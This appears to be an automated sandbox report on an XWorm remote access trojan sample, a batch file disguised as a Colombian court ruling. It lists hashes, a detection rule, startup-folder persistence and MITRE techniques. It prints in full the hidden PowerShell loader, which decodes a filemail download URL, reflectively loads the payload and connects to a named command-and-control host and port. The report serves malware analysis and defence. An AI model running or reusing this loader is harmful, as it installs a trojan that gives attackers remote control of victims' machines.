xworm | 0cf292ac0cdac7a8a901ca29ad6db6782fc49ad1b29508c22c1c77c9c823434b

Analysis

max time kernel
143s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/11/2024, 16:30

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General

Target

FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat
Size

210KB
MD5

24e3c5a8c5ce37efb76a08a124a2f525
SHA1

1378fa68873d9ce2368aac281632ff5dab2f59d0
SHA256

233bca3f0a5f3dbc98d3765ecc8631fd552366a78f052cc13c970b94a107e459
SHA512

e9ae4a7948cefe01143e5646220f9b6d1c78b34db0ec4f2220d74daf8add209d5b55f76eb2fcf2b3d995cdeee957aebb3e0f9f736cced0ddba8ba249d18bcc62
SSDEEP

6144:vZuSzJTZolPPaVOZwrXQJ5RV5RFVVjRbVbJlv8:B

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

exe.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4460-15-0x000002294A0E0000-0x000002294A474000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4460	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4460	powershell.exe
4460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1092 wrote to memory of 4460	1092	cmd.exe	84
PID 1092 wrote to memory of 4460	1092	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4460

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22qe2tsi.pfh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4460-2-0x00007FFFA37F3000-0x00007FFFA37F5000-memory.dmp

Filesize
8KB

Download
memory/4460-7-0x0000022930BD0000-0x0000022930BF2000-memory.dmp

Filesize
136KB

Download
memory/4460-13-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

Filesize
10.8MB

Download
memory/4460-14-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

Filesize
10.8MB

Download
memory/4460-15-0x000002294A0E0000-0x000002294A474000-memory.dmp

Filesize
3.6MB

Download
memory/4460-16-0x00007FFFA37F3000-0x00007FFFA37F5000-memory.dmp

Filesize
8KB

Download
memory/4460-17-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

Filesize
10.8MB

Download
memory/4460-18-0x00007FFFA37F0000-0x00007FFFA42B1000-memory.dmp

Filesize
10.8MB

Download